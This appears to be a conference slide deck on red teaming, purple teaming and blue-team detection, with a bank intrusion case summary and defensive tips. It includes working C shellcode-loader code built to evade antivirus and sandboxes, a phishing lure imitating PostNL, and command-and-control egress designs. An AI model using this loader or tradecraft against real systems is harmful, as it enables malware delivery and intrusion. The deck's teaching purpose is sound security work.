TAKING SECURITY TESTING TO THE NEXT LEVEL

5 MAY 2014
STAN HEGT
HAVE YOU EVER ENCOUNTERED AN ADVERSARY THAT RAN NESSUS FROM A MEETING ROOM?

ID#: 31337
Name: Scriptkiddie

Federal Bureau of Investigation
**Penetration Testing** vs **Red Teaming**

**Penetration Testing**
- Gain oversight of vulnerabilities
- Predefined subset
- Focus on preventive controls
- Focus on efficiency
- Mapping, scanning, exploiting
- Very limited
- Part of development lifecycle

**Red Teaming**
- Test resilience against real attacks
- Realistic access paths
- Focus on detection and response
- Focus on realistic simulation
- Attacker TTPs
- Extensive focus on crown jewels
- Periodical exercise
RED TEAMING – THE APPROACH

The Red Team
- Uses the same Tactics, Techniques and Procedures (TTPs) as real adversaries
- Red team members must be on top of threat intelligence
- Team members must have operational versatility

The Blue Team
- Is not only the security team (but also users, IT, management)
- Does not know if an incident is real or triggered by a red team
- Measure improvement: mean time to detect (MTTD) and mean time to recovery (MTTR)
THE APPROACH – CYBER KILL CHAIN METHODOLOGY

Before the Hack  T-1

Recon

Select targets and determine attack methods

Weaponize

Transmission of the attack via physical, email, web, or social engineering

Deliver

T0

Exploit

Successful penetration – access gained

Install

Install “malware” to gain remote control

Control

Establish command & control throughout the network

Execute

After the Hack  T+1

Developed by Lockheed Martin, Intelligence-Driven Computer Network Defense
THE ASSUME COMPROMISE MODEL

Focus on last steps in Kill Chain
- Realistic assumption that breaches will happen (“when, not if”)
- Compressed time adversary simulation
- Less time spent on trivial stuff, more time for crown jewels
- Being used by many internal red teams (e.g. Microsoft)

How to approach this in your test?
- Have trusted agent click on all files and links sent to him
- Or give access to a limited number of systems
COBALT STRIKE
ADVANCED THREAT TACTICS FOR PENETRATION TESTERS
## RED TEAMING SUMMARY – DUTCH BANK

<table>
<thead>
<tr>
<th>Chain step</th>
<th>Tactic</th>
<th>Technique</th>
</tr>
</thead>
<tbody>
<tr>
<td>Recon</td>
<td>OSINT</td>
<td>Social media, Public sources</td>
</tr>
<tr>
<td></td>
<td>Device fingerprinting</td>
<td>Javascript browser fingerprinting</td>
</tr>
<tr>
<td>Weaponize</td>
<td>Malware dropper</td>
<td>Java signed applet, Malicious Word Macro</td>
</tr>
<tr>
<td>Deliver</td>
<td>Spear phishing</td>
<td>Clone parcel delivery website, Personal “resumé” site</td>
</tr>
<tr>
<td>Install</td>
<td>RAT malware</td>
<td>CS HTTP beacon</td>
</tr>
<tr>
<td></td>
<td>Keylogging</td>
<td>Keylogging to Keypass</td>
</tr>
<tr>
<td>Control</td>
<td>Password bruteforce</td>
<td>Reverse password bruteforce on AD</td>
</tr>
<tr>
<td></td>
<td>Create persistence</td>
<td>Install persistence via Windows services and schtasks</td>
</tr>
<tr>
<td></td>
<td>Dump hashes</td>
<td>Mimikatz and hashdump on DCs and file servers</td>
</tr>
<tr>
<td>Execute</td>
<td>Credentials abuse</td>
<td>Initiate payment in SWIFT gateway</td>
</tr>
</tbody>
</table>
ANTIVIRUS?

HOW TO DEFEAT ANTVIRUS?
```c
}

// edit this to XOR key value
char key[14]="IkHouVanAapjes";

for (x=0; x<size; x++) {
    result[x] = input[x] ^ key[x % sizeof(key)];
}

return result;
}

int main(int argc, char *argv[]) {

    if (DEBUG) MessageBox(NULL, "Starting payload", "Payload", MB_OK + MB_SERVICE_NOTIFICATION);

    unsigned char *shellcode = xorString(data_bin, data_bin_size);

    DWORD oldProtect;

    HANDLE locHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, data_bin_size, 2*data_bin_size);
    if (!locHeap) return GetLastError();

    void *shellcodeAddr = HeapAlloc(locHeap, 0, data_bin_size);
    if (!shellcodeAddr) return GetLastError();

    memcpy(shellcodeAddr, shellcode, data_bin_size);
    VirtualProtect(shellcodeAddr, data_bin_size, PAGE_EXECUTE_READWRITE, &oldProtect);

    return ((int (*)(void)) shellcodeAddr)();
}
```
HOW TO DEFEAT THE BLINKY BOX APPLIANCE™?

* FILL IN YOUR FAVORITE NETWORK SECURITY APPLIANCE VENDOR HERE
```c
}

// edit this to XOR key value
char key[14]="IkHouVanAapjes";

for (x=0; x<size; x++) {
    result[x] = input[x] ^ key[x & sizeof(key)];
}

return result;
}

int main(int argc, char *argv[]) {
    sleep(600);

    if (DEBUG) MessageBox(NULL, "Starting payload", "Payload", MB_OK + MB_SERVICE_NOTIFICATION);

    unsigned char *shellcode = xorString(data_bin, data_bin_size);

    DWORD oldProtect;

    HANDLE locHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, data_bin_size, 2*data_bin_size);
    if (!locHeap) return GetLastError();

    void *shellcodeAddr = HeapAlloc(locHeap, 0, data_bin_size);
    if (!shellcodeAddr) return GetLastError();

    memcpy(shellcodeAddr, shellcode, data_bin_size);
    VirtualProtect(shellcodeAddr, data_bin_size, PAGE_EXECUTE_READWRITE, &oldProtect);
```
HOW TO OBTAIN A ROGUE CODE SIGNING CERTIFICATE?
Ruben van Zanten

Hollandse Kamer van Uitvoerende Organen

University of the Arts Utrecht, HKU Studenten Service Centrum
Postbus 1520, 3500 BM Utrecht, 030-2349440, info@ssc.hku.nl
Dear Sir or Madam,

Thank you for purchasing OpenSource Code Signing certificate for Open Source Developer, rubenvanzanten.nl. The Open Source Code Signing certificate is meant for software developers and publishers who work under the Open Source licence.

Please read following information related to the verification of the request, necessary to complete the purchase of the certificate.

Verification process for activation of the new OpenSource Code Signing certificate requires (1) confirmation of access to the certified email address and (2) additional vetting documents used to perform the identification of the Subscriber.

1. For certificate OpenSource Code Signing an e-mail address verification is requested. CERTUM will send an activation link for the e-mail address specified in the certificate request.
2. In order to verify the data contained in the request for certificate issuance, please provide the following:

   • Copy of ID document of the Subscriber (ID card, passport, residence permit, student's ID card, social insurance ID, etc.). ID documents in non-Latin scripts (e.g. Hebrew, Arabic, Chinese, Japanese etc.) issued by the affected countries must have at least an English (Latin) translation included in addition to the natural language and character set. Passports and sometimes driving licences usually have Latin transcription.
   • The name and a hyperlink to your open-source project. The project, whose name will be included in the certificate, must be widely available. If CERTUM will not be able to identify the project on the basis of the public information, the certificate request will be rejected.
   • Copy of document to assure the subscriber is an employee or representative of company/institution (if applicable).

All collected documents should be sent in one of the following ways:

• by fax: 004891 4257 422
• via e-mail: ccp@certum.pl
• per post:
PostNL PakGemak <info@pakgemak.nl>

Er staat een pakket voor u klaar

U kunt deze e-mail ook als postscript bekijken.

PakGemak Track & Trace

Beste Stan Hegt,

Er staat een pakket voor u bij ons klaar. Door gebruik te maken van onderstaande Track & Trace code kunt u de details bekijken.

Voor vragen kunt u terecht bij de PostNL Wijzingservice.

Uw gegevens:

Naam: Stan Hegt
Emailadres: hegt.stan@kpm.g.nl
Track & Trace code: 3SMZLCPHPOIL80

Bekijk de details van uw pakket

Met vriendelijke groet,

PostNL Track & Trace team
De websites van PostNL maken gebruik van cookies en Java

Do you want to run this application?

Publisher: Verbij consulting
Location: http://www.pakgemak.nl

This application will run with unrestricted access which may put your computer and personal information at risk. Run this application only if you trust the publisher and location above.

☐ Do not show this again for apps from the publisher and location above

More Information

Run
Cancel
@postnl is pakgemak.nl een website van u? Ik lijf phisingsmail te krijgen

@PostNL @PostNL · 6 u
Hi Sven, dat is inderdaad van ons. Waarom denk je dat het phishing is? Heb je evt een screenshot voor ons? Mag je evt in een >

@PostNL Dus niet van jullie want de website is offline! Nu moet ik Mac opnieuw installeren…. (en dank je wel Sven voor het melden)

@PostNL @PostNL · 5 u
Hey Sven, zou ik misschien nog een screenshot van je mogen? In je vorige zijn de details van de mail helaas niet goed te lezen.

@PostNL Case is afgehandeld? waar wil je een screenshot van?

@PostNL @PostNL · 4 u
Ik zou graag een hoge resolutie van de email willen hebben. Dan kan ik deze doorsturen naar het hoofdkantoor. ^Frank

@PostNL luk nut via Twitter, heb je mail? website is al offline btw
Egress - HTTPS Beacon

Business Environment

- Office desktops
- Compromise (i.e. via Phising)
- Establish Command & Control channel (e.g. via HTTPS)

Internet

- Proxy Server
- C&C Server
- Attacker
  - Social Engineering (Digital)
- Control C&C
Egress - SMB Beacon

**Internal Environment**
- Office desktops
- Compromise management server (i.e. via keylogger)
- Establish Command & Control channel (e.g. via SMB linking)

**Management Environment**
- Stepping stone
- All traffic blocked!
- Egress channel
- Control via malware (i.e. HTTPS beacon)
- C&C Server
- Hacker

**Internet**
- Control C&C
EGRESS - DNS BEACON

BUSINESS ENVIRONMENT

Office desktops

Access servers

Payment Server

Lateral movement

Outbound traffic blocked

Control via malware (i.e. beacon)

SERVER ENVIRONMENT

Tomcat Server

Establish Command & Control channel (DNS)

Payment Server

SERVER ENVIRONMENT

SUPPORT ENVIRONMENT

DNS Server (AD)

Establish Command & Control channel (DNS)

INTERNET

C&C Server

Control C&C

Attacker

Establish Command & Control channel (e.g. via DNS)
DEFEATING THE RED TEAM

(AND CATCHING THE REAL BAD GUYS AS A BONUS)
THE PYRAMID OF PAIN CONCEPT

Layer of detection and response

- TTPs
- Tools
- Artefacts
- Domain names
- IP addresses
- Hash values

Pain inflicted on attacker

- Tough!
- Challenging
- Annoying
- Simple
- Easy
- Trivial

DON’T DO WHAC A MOLE - PLAY A DIFFERENT GAME

Forcing the red team to change TTPs and tools
- Remove persistence instead of hunting for post-exploitation tools
- The red team likely maintains a low and slow backup method to get back in
- Lateral movement is more than just PsExec (wmic, at, sc, schtasks, PowerShell, etc)

Control and monitor egress
- Block outbound TCP / UDP
- Tunnel through proxy with authentication (will break many malware)
- Control DNS (!= blocking port 53) – let proxy handle DNS

Tricks
- Leverage application whitelisting (even in audit mode)
- A good honeypot can be very attractive for the red team
HONEY HASHES – CATCHING PASS-THE-HASH AND CREDENTIALS ABUSE

/runas /user:DOMAIN.COM\Super.Admin /netonly ipconfig

Next: setup alert on credentials use


Original idea: https://isc.sans.edu/diary/Detecting+Mimikatz+Use+On+Your+Network/19311
Pass-the-ticket attack

- Attacker can abuse compromised KRBTGT account hash (= Kerberos secret key) to impersonate anybody in a Windows-domain based environment until the Kerberos secret key is reset.

CERT-EU Security White Paper 2014-07:
“Containment by resetting twice the KRBTGT account password”

But, how do you know if one of your DCs has been owned in the past X years?

Solution

- Proactively reset the KRBTGT account password (e.g. weekly or monthly)
- No guarantees, but a very large multinational has implemented this without any significant problems
Red and blue make purple
The idea of purple teaming
- Put the red and blue teams together in a room
- Combine offensive and defensive skillset
- Real-time tuning of protection and detection
- NOT a replacement for red teaming

The Red Team
- Simulate latest relevant TTPs
- Generate data set for the blue team

The Blue Team
- Use generated data set to define observables and indicators
- Create new monitoring use cases on the fly
How to simulate malicious backdoors without having to install the actual malware on your user’s systems?

Malleable Command and Control

- Cobalt Strike feature to change beacon communications
- Simulate malware C2 (from crimeware to APT)
- Change many indicators (beyond just user agent)
- Repository at https://github.com/rsmudge/Malleable-C2- Profiles
### FITTING IT ALL TOGETHER – EXAMPLE SECURITY TESTING PROGRAM

<table>
<thead>
<tr>
<th>Activity</th>
<th>Interval</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vulnerability scanning</td>
<td>Monthly</td>
<td>Automated scanning of infrastructure and applications for known vulnerabilities</td>
</tr>
<tr>
<td>Penetration testing</td>
<td>Embedded in SDLC</td>
<td>Manual penetration testing of new or modified systems and applications</td>
</tr>
<tr>
<td>Deep dive</td>
<td>Quarterly</td>
<td>Whitebox assessment on specific topic (e.g. DDoS resilience)</td>
</tr>
<tr>
<td>Red teaming</td>
<td>Twice a year</td>
<td>Unannounced adversary simulation to test resilience against real attacks</td>
</tr>
<tr>
<td>Purple teaming</td>
<td>Quarterly</td>
<td>Simulation of latest adversary TTPs and real-time evaluation of protective and detective measures</td>
</tr>
</tbody>
</table>
RESOURCES

Microsoft whitepaper on red teaming

Cobalt Strike blog on red teaming, purple teaming, etc.
http://blog.cobaltstrike.com/

Tradecraft training on red team operations by Cobalt Strike
http://www.cobaltstrike.com/training

Dark Side Ops training at Blackhat